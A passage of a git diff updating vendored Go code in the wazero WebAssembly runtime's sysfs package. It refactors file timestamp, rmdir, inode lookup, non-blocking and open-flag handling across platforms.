sys.UnwrapOSError(err) +} + // readFd exposes syscall.Read. func readFd(fd uintptr, buf []byte) (int, sys.Errno) { if len(buf) == 0 { diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_unsupported.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_unsupported.go index eb8b5537fc..54e224bbf9 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_unsupported.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_unsupported.go @@ -2,13 +2,21 @@ package sysfs -import "github.com/tetratelabs/wazero/experimental/sys" +import ( + "os" + + "github.com/tetratelabs/wazero/experimental/sys" +) const ( nonBlockingFileReadSupported = false nonBlockingFileWriteSupported = false ) +func rmdir(path string) sys.Errno { + return sys.UnwrapOSError(os.Remove(path)) +} + // readFd returns ENOSYS on unsupported platforms. func readFd(fd uintptr, buf []byte) (int, sys.Errno) { return -1, sys.ENOSYS diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_windows.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_windows.go index c07d2b92a1..3ad9648e65 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_windows.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_windows.go @@ -81,3 +81,8 @@ func peekNamedPipe(handle syscall.Handle) (uint32, syscall.Errno) { 0) // [out, optional] LPDWORD lpBytesLeftThisMessage return totalBytesAvail, errno } + +func rmdir(path string) sys.Errno { + err := syscall.Rmdir(path) + return sys.UnwrapOSError(err) +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens.go index 9144126b61..1f670ca116 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens.go @@ -1,53 +1,14 @@ +//go:build linux || darwin + package sysfs import ( "syscall" - "time" "unsafe" - experimentalsys "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/sys" + "github.com/tetratelabs/wazero/experimental/sys" ) -const ( - // UTIME_NOW is a special syscall.Timespec NSec value used to set the - // file's timestamp to a value close to, but not greater than the current - // system time. - UTIME_NOW = _UTIME_NOW - - // UTIME_OMIT is a special syscall.Timespec NSec value used to avoid - // setting the file's timestamp. - UTIME_OMIT = _UTIME_OMIT -) - -// Utimens set file access and modification times on a path resolved to the -// current working directory, at nanosecond precision. -// -// # Parameters -// -// The `times` parameter includes the access and modification timestamps to -// assign. Special syscall.Timespec NSec values UTIME_NOW and UTIME_OMIT may be -// specified instead of real timestamps. A nil `times` parameter behaves the -// same as if both were set to UTIME_NOW. If the path is a symbolic link, the -// target of expanding that link is updated. -// -// # Errors -// -// A zero sys.Errno is success. The below are expected otherwise: -// - sys.ENOSYS: the implementation does not support this function. -// - sys.EINVAL: `path` is invalid. -// - sys.EEXIST: `path` exists and is a directory. -// - sys.ENOTDIR: `path` exists and is a file. -// -// # Notes -// -// - This is like syscall.UtimesNano and `utimensat` with `AT_FDCWD` in -// POSIX. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/futimens.html -func Utimens(path string, times *[2]syscall.Timespec) experimentalsys.Errno { - err := utimens(path, times) - return experimentalsys.UnwrapOSError(err) -} - func timesToPtr(times *[2]syscall.Timespec) unsafe.Pointer { //nolint:unused if times != nil { return unsafe.Pointer(×[0]) @@ -55,67 +16,22 @@ func timesToPtr(times *[2]syscall.Timespec) unsafe.Pointer { //nolint:unused return unsafe.Pointer(nil) } -func utimensPortable(path string, times *[2]syscall.Timespec) error { //nolint:unused - // Handle when both inputs are current system time. - if times == nil || times[0].Nsec == UTIME_NOW && times[1].Nsec == UTIME_NOW { - ts := nowTimespec() - return syscall.UtimesNano(path, []syscall.Timespec{ts, ts}) - } - +func timesToTimespecs(atim int64, mtim int64) (times *[2]syscall.Timespec) { // When both inputs are omitted, there is nothing to change. - if times[0].Nsec == UTIME_OMIT && times[1].Nsec == UTIME_OMIT { - return nil - } - - // Handle when neither input are special values - if times[0].Nsec != UTIME_NOW && times[1].Nsec != UTIME_NOW && - times[0].Nsec != UTIME_OMIT && times[1].Nsec != UTIME_OMIT { - return syscall.UtimesNano(path, times[:]) + if atim == sys.UTIME_OMIT && mtim == sys.UTIME_OMIT { + return } - // Now, either atim or mtim is a special value, but not both. - - // Now, either one of the inputs is a special value, or neither. This means - // we don't have a risk of re-reading the clock or re-doing stat. - if atim, err := normalizeTimespec(path, times, 0); err != 0 { - return err - } else if mtim, err := normalizeTimespec(path, times, 1); err != 0 { - return err + times = &[2]syscall.Timespec{} + if atim == sys.UTIME_OMIT { + times[0] = syscall.Timespec{Nsec: _UTIME_OMIT} + times[1] = syscall.NsecToTimespec(mtim) + } else if mtim == sys.UTIME_OMIT { + times[0] = syscall.NsecToTimespec(atim) + times[1] = syscall.Timespec{Nsec: _UTIME_OMIT} } else { - return syscall.UtimesNano(path, []syscall.Timespec{atim, mtim}) - } -} - -func normalizeTimespec(path string, times *[2]syscall.Timespec, i int) (ts syscall.Timespec, err experimentalsys.Errno) { //nolint:unused - switch times[i].Nsec { - case UTIME_NOW: // declined in Go per golang/go#31880. - ts = nowTimespec() - return - case UTIME_OMIT: - // UTIME_OMIT is expensive until progress is made in Go, as it requires a - // stat to read-back the value to re-apply. - // - https://github.com/golang/go/issues/32558. - // - https://go-review.googlesource.com/c/go/+/219638 (unmerged) - var st sys.Stat_t - if st, err = stat(path); err != 0 { - return - } - switch i { - case 0: - ts = syscall.NsecToTimespec(st.Atim) - case 1: - ts = syscall.NsecToTimespec(st.Mtim) - default: - panic("BUG") - } - return - default: // not special - ts = times[i] - return + times[0] = syscall.NsecToTimespec(atim) + times[1] = syscall.NsecToTimespec(mtim) } -} - -func nowTimespec() syscall.Timespec { //nolint:unused - now := time.Now().UnixNano() - return syscall.NsecToTimespec(now) + return } diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_darwin.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_darwin.go index a5663ede3c..88e4008f0a 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_darwin.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_darwin.go @@ -2,13 +2,14 @@ package sysfs import ( "syscall" - _ "unsafe" // for go:linkname + _ "unsafe" + + experimentalsys "github.com/tetratelabs/wazero/experimental/sys" ) const ( _AT_FDCWD = -0x2 _AT_SYMLINK_NOFOLLOW = 0x0020 - _UTIME_NOW = -1 _UTIME_OMIT = -2 ) @@ -16,20 +17,25 @@ const ( //go:linkname utimensat syscall.utimensat func utimensat(dirfd int, path string, times *[2]syscall.Timespec, flags int) error -func utimens(path string, times *[2]syscall.Timespec) error { +func utimens(path string, atim, mtim int64) experimentalsys.Errno { + times := timesToTimespecs(atim, mtim) + if times == nil { + return 0 + } var flags int - return utimensat(_AT_FDCWD, path, times, flags) + return experimentalsys.UnwrapOSError(utimensat(_AT_FDCWD, path, times, flags)) } -func futimens(fd uintptr, times *[2]syscall.Timespec) error { +func futimens(fd uintptr, atim, mtim int64) experimentalsys.Errno { + times := timesToTimespecs(atim, mtim) + if times == nil { + return 0 + } _p0 := timesToPtr(times) // Warning: futimens only exists since High Sierra (10.13). _, _, e1 := syscall_syscall6(libc_futimens_trampoline_addr, fd, uintptr(_p0), 0, 0, 0, 0) - if e1 != 0 { - return e1 - } - return nil + return experimentalsys.UnwrapOSError(e1) } // libc_futimens_trampoline_addr is the address of the diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_linux.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_linux.go index 5008ca8140..3ec68537be 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_linux.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_linux.go @@ -3,28 +3,38 @@ package sysfs import ( "syscall" "unsafe" - _ "unsafe" // for go:linkname + _ "unsafe" + + experimentalsys "github.com/tetratelabs/wazero/experimental/sys" ) const ( _AT_FDCWD = -0x64 - _UTIME_NOW = (1 << 30) - 1 _UTIME_OMIT = (1 << 30) - 2 ) -func utimens(path string, times *[2]syscall.Timespec) (err error) { +func utimens(path string, atim, mtim int64) experimentalsys.Errno { + times := timesToTimespecs(atim, mtim) + if times == nil { + return 0 + } + var flags int var _p0 *byte - _p0, err = syscall.BytePtrFromString(path) - if err != nil { - return + _p0, err := syscall.BytePtrFromString(path) + if err == nil { + err = utimensat(_AT_FDCWD, uintptr(unsafe.Pointer(_p0)), times, flags) } - return utimensat(_AT_FDCWD, uintptr(unsafe.Pointer(_p0)), times, flags) + return experimentalsys.UnwrapOSError(err) } // On linux, implement futimens via utimensat with the NUL path. -func futimens(fd uintptr, times *[2]syscall.Timespec) error { - return utimensat(int(fd), 0 /* NUL */, times, 0) +func futimens(fd uintptr, atim, mtim int64) experimentalsys.Errno { + times := timesToTimespecs(atim, mtim) + if times == nil { + return 0 + } + return experimentalsys.UnwrapOSError(utimensat(int(fd), 0 /* NUL */, times, 0)) } // utimensat is like syscall.utimensat special-cased to accept a NUL string for the path value. diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_unsupported.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_unsupported.go index 2816cb84ee..c78a16b407 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_unsupported.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_unsupported.go @@ -3,22 +3,14 @@ package sysfs import ( - "syscall" - "github.com/tetratelabs/wazero/experimental/sys" ) -// Define values even if not used except as sentinels. -const ( - _UTIME_NOW = -1 - _UTIME_OMIT = -2 -) - -func utimens(path string, times *[2]syscall.Timespec) error { - return utimensPortable(path, times) +func utimens(path string, atim, mtim int64) sys.Errno { + return chtimes(path, atim, mtim) } -func futimens(fd uintptr, times *[2]syscall.Timespec) error { +func futimens(fd uintptr, atim, mtim int64) error { // Go exports syscall.Futimes, which is microsecond granularity, and // WASI tests expect nanosecond. We don't yet have a way to invoke the // futimens syscall portably. diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_windows.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_windows.go index 26d9c2a425..3a5289b70b 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_windows.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_windows.go @@ -2,24 +2,16 @@ package sysfs import ( "syscall" - "time" "github.com/tetratelabs/wazero/experimental/sys" "github.com/tetratelabs/wazero/internal/platform" ) -// Define values even if not used except as sentinels. -const ( - _UTIME_NOW = -1 - _UTIME_OMIT = -2 - SupportsSymlinkNoFollow = false -) - -func utimens(path string, times *[2]syscall.Timespec) error { - return utimensPortable(path, times) +func utimens(path string, atim, mtim int64) sys.Errno { + return chtimes(path, atim, mtim) } -func futimens(fd uintptr, times *[2]syscall.Timespec) error { +func futimens(fd uintptr, atim, mtim int64) error { // Before Go 1.20, ERROR_INVALID_HANDLE was returned for too many reasons. // Kick out so that callers can use path-based operations instead. if !platform.IsAtLeastGo120 { @@ -27,9 +19,9 @@ func futimens(fd uintptr, times *[2]syscall.Timespec) error { } // Per docs, zero isn't a valid timestamp as it cannot be differentiated - // from nil. In both cases, it is a marker like syscall.UTIME_OMIT. + // from nil. In both cases, it is a marker like sys.UTIME_OMIT. // See https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-setfiletime - a, w := timespecToFiletime(times) + a, w := timespecToFiletime(atim, mtim) if a == nil && w == nil { return nil // both omitted, so nothing to change @@ -42,32 +34,16 @@ func futimens(fd uintptr, times *[2]syscall.Timespec) error { return syscall.SetFileTime(h, nil, a, w) } -func timespecToFiletime(times *[2]syscall.Timespec) (a, w *syscall.Filetime) { - // Handle when both inputs are current system time. - if times == nil || times[0].Nsec == UTIME_NOW && times[1].Nsec == UTIME_NOW { - now := time.Now().UnixNano() - ft := syscall.NsecToFiletime(now) - return &ft, &ft - } - - // Now, either one of the inputs is current time, or neither. This - // means we don't have a risk of re-reading the clock. - a = timespecToFileTime(times, 0) - w = timespecToFileTime(times, 1) +func timespecToFiletime(atim, mtim int64) (a, w *syscall.Filetime) { + a = timespecToFileTime(atim) + w = timespecToFileTime(mtim) return } -func timespecToFileTime(times *[2]syscall.Timespec, i int) *syscall.Filetime { - if times[i].Nsec == UTIME_OMIT { +func timespecToFileTime(tim int64) *syscall.Filetime { + if tim == sys.UTIME_OMIT { return nil } - - var nsec int64 - if times[i].Nsec == UTIME_NOW { - nsec = time.Now().UnixNano() - } else { - nsec = syscall.TimespecToNsec(times[i]) - } - ft := syscall.NsecToFiletime(nsec) + ft := syscall.NsecToFiletime(tim) return &ft } diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/ino.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/ino.go new file mode 100644 index 0000000000..703f113660 --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/ino.go @@ -0,0 +1,22 @@ +//go:build !windows && !plan9 + +package sysfs + +import ( + "io/fs" + "syscall" + + experimentalsys "github.com/tetratelabs/wazero/experimental/sys" + "github.com/tetratelabs/wazero/sys" +) + +func inoFromFileInfo(_ string, info fs.FileInfo) (sys.Inode, experimentalsys.Errno) { + switch v := info.Sys().(type) { + case *sys.Stat_t: + return v.Ino, 0 + case *syscall.Stat_t: + return v.Ino, 0 + default: + return 0, 0 + } +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/ino_plan9.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/ino_plan9.go new file mode 100644 index 0000000000..9c669a475c --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/ino_plan9.go @@ -0,0 +1,15 @@ +package sysfs + +import ( + "io/fs" + + experimentalsys "github.com/tetratelabs/wazero/experimental/sys" + "github.com/tetratelabs/wazero/sys" +) + +func inoFromFileInfo(_ string, info fs.FileInfo) (sys.Inode, experimentalsys.Errno) { + if v, ok := info.Sys().(*sys.Stat_t); ok { + return v.Ino, 0 + } + return 0, 0 +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/ino_windows.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/ino_windows.go new file mode 100644 index 0000000000..d163b3601e --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/ino_windows.go @@ -0,0 +1,28 @@ +package sysfs + +import ( + "io/fs" + "path" + + experimentalsys "github.com/tetratelabs/wazero/experimental/sys" + "github.com/tetratelabs/wazero/sys" +) + +// inoFromFileInfo uses stat to get the inode information of the file. +func inoFromFileInfo(dirPath string, info fs.FileInfo) (ino sys.Inode, errno experimentalsys.Errno) { + if v, ok := info.Sys().(*sys.Stat_t); ok { + return v.Ino, 0 + } + if dirPath == "" { + // This is a FS.File backed implementation which doesn't have access to + // the original file path. + return + } + // Ino is no not in Win32FileAttributeData + inoPath := path.Clean(path.Join(dirPath, info.Name())) + var st sys.Stat_t + if st, errno = lstat(inoPath); errno == 0 { + ino = st.Ino + } + return +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_plan9.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_plan9.go new file mode 100644 index 0000000000..8e94e5922f --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_plan9.go @@ -0,0 +1,11 @@ +package sysfs + +import "github.com/tetratelabs/wazero/experimental/sys" + +func setNonblock(fd uintptr, enable bool) sys.Errno { + return sys.ENOSYS +} + +func isNonblock(f *osFile) bool { + return false +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_unix.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_unix.go index fdee885aa3..07fb15cf12 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_unix.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_unix.go @@ -1,17 +1,17 @@ -//go:build !windows +//go:build !windows && !plan9 package sysfs import ( "syscall" - "github.com/tetratelabs/wazero/internal/fsapi" + "github.com/tetratelabs/wazero/experimental/sys" ) -func setNonblock(fd uintptr, enable bool) error { - return syscall.SetNonblock(int(fd), enable) +func setNonblock(fd uintptr, enable bool) sys.Errno { + return sys.UnwrapOSError(syscall.SetNonblock(int(fd), enable)) } func isNonblock(f *osFile) bool { - return f.flag&fsapi.O_NONBLOCK == fsapi.O_NONBLOCK + return f.flag&sys.O_NONBLOCK == sys.O_NONBLOCK } diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_windows.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_windows.go index 3acbf2721f..eb38ea5afa 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_windows.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_windows.go @@ -1,17 +1,15 @@ -//go:build windows - package sysfs import ( "io/fs" "syscall" - "github.com/tetratelabs/wazero/internal/fsapi" + "github.com/tetratelabs/wazero/experimental/sys" ) -func setNonblock(fd uintptr, enable bool) error { +func setNonblock(fd uintptr, enable bool) sys.Errno { // We invoke the syscall, but this is currently no-op. - return syscall.SetNonblock(syscall.Handle(fd), enable) + return sys.UnwrapOSError(syscall.SetNonblock(syscall.Handle(fd), enable)) } func isNonblock(f *osFile) bool { @@ -21,5 +19,5 @@ func isNonblock(f *osFile) bool { if errno == 0 { isValid = st.Mode&fs.ModeNamedPipe != 0 } - return isValid && f.flag&fsapi.O_NONBLOCK == fsapi.O_NONBLOCK + return isValid && f.flag&sys.O_NONBLOCK == sys.O_NONBLOCK } diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/oflag.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/oflag.go index e6c3b06c28..be6d2c35f6 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/oflag.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/oflag.go @@ -3,35 +3,35 @@ package sysfs import ( "os" - "github.com/tetratelabs/wazero/internal/fsapi" + "github.com/tetratelabs/wazero/experimental/sys" ) // toOsOpenFlag converts the input to the flag parameter of os.OpenFile -func toOsOpenFlag(oflag fsapi.Oflag) (flag int) { +func toOsOpenFlag(oflag sys.Oflag) (flag int) { // First flags are exclusive - switch oflag & (fsapi.O_RDONLY | fsapi.O_RDWR | fsapi.O_WRONLY) { - case fsapi.O_RDONLY: + switch oflag & (sys.O_RDONLY | sys.O_RDWR | sys.O_WRONLY) { + case sys.O_RDONLY: flag |= os.O_RDONLY - case fsapi.O_RDWR: + case sys.O_RDWR: flag |= os.O_RDWR - case fsapi.O_WRONLY: + case sys.O_WRONLY: flag |= os.O_WRONLY } // Run down the flags defined in the os package - if oflag&fsapi.O_APPEND != 0 { + if oflag&sys.O_APPEND != 0 { flag |= os.O_APPEND } - if oflag&fsapi.O_CREAT != 0 { + if oflag&sys.O_CREAT != 0 { flag |= os.O_CREATE } - if oflag&fsapi.O_EXCL != 0 { + if oflag&sys.O_EXCL != 0 { flag |= os.O_EXCL } - if oflag&fsapi.O_SYNC != 0 { + if oflag&sys.O_SYNC != 0 { flag |= os.O_SYNC } - if oflag&fsapi.O_TRUNC != 0 { + if oflag&sys.O_TRUNC != 0 { flag |= os.O_TRUNC } return withSyscallOflag(oflag, flag) diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_darwin.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_darwin.go index 82275393b5..a4f54ca2cc 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_darwin.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_darwin.go @@ -3,22 +3,22 @@ package sysfs import ( "syscall" - "github.com/tetratelabs/wazero/internal/fsapi" + "github.com/tetratelabs/wazero/experimental/sys" ) -const supportedSyscallOflag = fsapi.O_DIRECTORY | fsapi.O_DSYNC | fsapi.O_NOFOLLOW | fsapi.O_NONBLOCK +const supportedSyscallOflag = sys.O_DIRECTORY | sys.O_DSYNC | sys.O_NOFOLLOW | sys.O_NONBLOCK -func withSyscallOflag(oflag fsapi.Oflag, flag int) int { - if oflag&fsapi.O_DIRECTORY != 0 { +func withSyscallOflag(oflag sys.Oflag, flag int) int { + if oflag&sys.O_DIRECTORY != 0 { flag |= syscall.O_DIRECTORY } - if oflag&fsapi.O_DSYNC != 0 { + if oflag&sys.O_DSYNC != 0 { flag |= syscall.O_DSYNC } - if oflag&fsapi.O_NOFOLLOW != 0 { + if oflag&sys.O_NOFOLLOW != 0 { flag |= syscall.O_NOFOLLOW } - if oflag&fsapi.O_NONBLOCK != 0 { + if oflag&sys.O_NONBLOCK != 0 { flag |= syscall.O_NONBLOCK } // syscall.O_RSYNC not defined on darwin diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_freebsd.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_freebsd.go index e91da95dfa..42adaa2140 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_freebsd.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_freebsd.go @@ -3,20 +3,20 @@ package sysfs import ( "syscall" - "github.com/tetratelabs/wazero/internal/fsapi" + "github.com/tetratelabs/wazero/experimental/sys" ) -const supportedSyscallOflag = fsapi.O_DIRECTORY | fsapi.O_NOFOLLOW | fsapi.O_NONBLOCK +const supportedSyscallOflag = sys.O_DIRECTORY | sys.O_NOFOLLOW | sys.O_NONBLOCK -func withSyscallOflag(oflag fsapi.Oflag, flag int) int { - if oflag&fsapi.O_DIRECTORY != 0 { +func withSyscallOflag(oflag sys.Oflag, flag int) int { + if oflag&sys.O_DIRECTORY != 0 { flag |= syscall.O_DIRECTORY } // syscall.O_DSYNC not defined on darwin - if oflag&fsapi.O_NOFOLLOW != 0 { + if oflag&sys.O_NOFOLLOW != 0 { flag |= syscall.O_NOFOLLOW } - if oflag&fsapi.O_NONBLOCK != 0 { + if oflag&sys.O_NONBLOCK != 0 { flag |= syscall.O_NONBLOCK } // syscall.O_RSYNC not defined on darwin diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_linux.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_linux.go index bfa9a23e19..7f4915480c 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_linux.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_linux.go @@ -3,25 +3,25 @@ package sysfs import ( "syscall" - "github.com/tetratelabs/wazero/internal/fsapi" + "github.com/tetratelabs/wazero/experimental/sys" ) -const supportedSyscallOflag = fsapi.O_DIRECTORY | fsapi.O_DSYNC | fsapi.O_NOFOLLOW | fsapi.O_NONBLOCK | fsapi.O_RSYNC +const supportedSyscallOflag = sys.O_DIRECTORY | sys.O_DSYNC | sys.O_NOFOLLOW | sys.O_NONBLOCK | sys.O_RSYNC -func withSyscallOflag(oflag fsapi.Oflag, flag int) int { - if oflag&fsapi.O_DIRECTORY != 0 { +func withSyscallOflag(oflag sys.Oflag, flag int) int { + if oflag&sys.O_DIRECTORY != 0 { flag |= syscall.O_DIRECTORY } - if oflag&fsapi.O_DSYNC != 0 { + if oflag&sys.O_DSYNC != 0 { flag |= syscall.O_DSYNC } - if oflag&fsapi.O_NOFOLLOW != 0 { + if oflag&sys.O_NOFOLLOW != 0 { flag |= syscall.O_NOFOLLOW } - if oflag&fsapi.O_NONBLOCK != 0 { + if oflag&sys.O_NONBLOCK != 0 { flag |= syscall.O_NONBLOCK } - if oflag&fsapi.O_RSYNC != 0 { + if oflag&sys.O_RSYNC != 0 { flag |= syscall.O_RSYNC } return flag diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_notwindows.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_notwindows.go index 4e886fb550..9ae1e2bcdb 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_notwindows.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_notwindows.go @@ -7,14 +7,13 @@ import ( "os" "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/internal/fsapi" ) -// openFile is like os.OpenFile except it accepts a fsapi.Oflag and returns +// openFile is like os.OpenFile except it accepts a sys.Oflag and returns // sys.Errno. A zero sys.Errno is success. -func openFile(path string, oflag fsapi.Oflag, perm fs.FileMode) (*os.File, sys.Errno) { +func openFile(path string, oflag sys.Oflag, perm fs.FileMode) (*os.File, sys.Errno) { f, err := os.OpenFile(path, toOsOpenFlag(oflag), perm) - // Note: This does not return a fsapi.File because fsapi.FS that returns + // Note: This does not return a sys.File because sys.FS that returns // one may want to hide the real OS path. For example, this is needed for // pre-opens. return f, sys.UnwrapOSError(err) diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_sun.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_sun.go index 6589ddac3f..bdf7dd84d2 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_sun.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_sun.go @@ -5,26 +5,26 @@ package sysfs import ( "syscall" - "github.com/tetratelabs/wazero/internal/fsapi" + "github.com/tetratelabs/wazero/experimental/sys" ) -const supportedSyscallOflag = fsapi.O_DIRECTORY | fsapi.O_DSYNC | fsapi.O_NOFOLLOW | fsapi.O_NONBLOCK | fsapi.O_RSYNC +const supportedSyscallOflag = sys.O_DIRECTORY | sys.O_DSYNC | sys.O_NOFOLLOW | sys.O_NONBLOCK | sys.O_RSYNC -func withSyscallOflag(oflag fsapi.Oflag, flag int) int { - if oflag&fsapi.O_DIRECTORY != 0 { +func withSyscallOflag(oflag sys.Oflag, flag int) int { + if oflag&sys.O_DIRECTORY != 0 { // See https://github.com/illumos/illumos-gate/blob/edd580643f2cf1434e252cd7779e83182ea84945/usr/src/uts/common/sys/fcntl.h#L90 flag |= 0x1000000 } - if oflag&fsapi.O_DSYNC != 0 { + if oflag&sys.O_DSYNC != 0 { flag |= syscall.O_DSYNC } - if oflag&fsapi.O_NOFOLLOW != 0 { + if oflag&sys.O_NOFOLLOW != 0 { flag |= syscall.O_NOFOLLOW } - if oflag&fsapi.O_NONBLOCK != 0 { + if oflag&sys.O_NONBLOCK != 0 { flag |= syscall.O_NONBLOCK } - if oflag&fsapi.O_RSYNC != 0 { + if oflag&sys.O_RSYNC != 0 { flag |= syscall.O_RSYNC } return flag diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_unsupported.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_unsupported.go index 9b925949aa..9f7a6d0885 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_unsupported.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_unsupported.go @@ -2,11 +2,13 @@ package sysfs -import "github.com/tetratelabs/wazero/internal/fsapi" +import ( + "github.com/tetratelabs/wazero/experimental/sys" +) -const supportedSyscallOflag = fsapi.Oflag(0) +const supportedSyscallOflag = sys.Oflag(0) -func withSyscallOflag(oflag fsapi.Oflag, flag int) int { +func withSyscallOflag(oflag sys.Oflag, flag int) int { // O_DIRECTORY not defined // O_DSYNC not defined // O_NOFOLLOW not defined diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_windows.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_windows.go index bc7a7f7d0c..bcfbfbcd6b 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_windows.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_windows.go @@ -8,12 +8,11 @@ import ( "unsafe" "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/internal/fsapi" "github.com/tetratelabs/wazero/internal/platform" ) -func openFile(path string, oflag fsapi.Oflag, perm fs.FileMode) (*os.File, sys.Errno) { - isDir := oflag&fsapi.O_DIRECTORY > 0 +func openFile(path string, oflag sys.Oflag, perm fs.FileMode) (*os.File, sys.Errno) { + isDir := oflag&sys.O_DIRECTORY > 0 flag := toOsOpenFlag(oflag) // TODO: document why we are opening twice @@ -55,14 +54,14 @@ func openFile(path string, oflag fsapi.Oflag, perm fs.FileMode) (*os.File, sys.E return f, errno } -const supportedSyscallOflag = fsapi.O_NONBLOCK +const supportedSyscallOflag = sys.O_NONBLOCK // Map to synthetic values here https://github.com/golang/go/blob/go1.20/src/syscall/types_windows.go#L34-L48 -func withSyscallOflag(oflag fsapi.Oflag, flag int) int { +func withSyscallOflag(oflag sys.Oflag, flag int) int { // O_DIRECTORY not defined in windows // O_DSYNC not defined in windows // O_NOFOLLOW not defined in windows - if oflag&fsapi.O_NONBLOCK != 0 { + if oflag&sys.O_NONBLOCK != 0 { flag |= syscall.O_NONBLOCK } // O_RSYNC not defined in windows diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/osfile.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/osfile.go index e39c92566c..ac0df777a9 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/osfile.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/osfile.go @@ -5,16 +5,13 @@ import ( "io/fs" "os" "runtime" - "syscall" - "time" experimentalsys "github.com/tetratelabs/wazero/experimental/sys" "github.com/tetratelabs/wazero/internal/fsapi" - "github.com/tetratelabs/wazero/internal/platform" "github.com/tetratelabs/wazero/sys" ) -func newOsFile(path string, flag fsapi.Oflag, perm 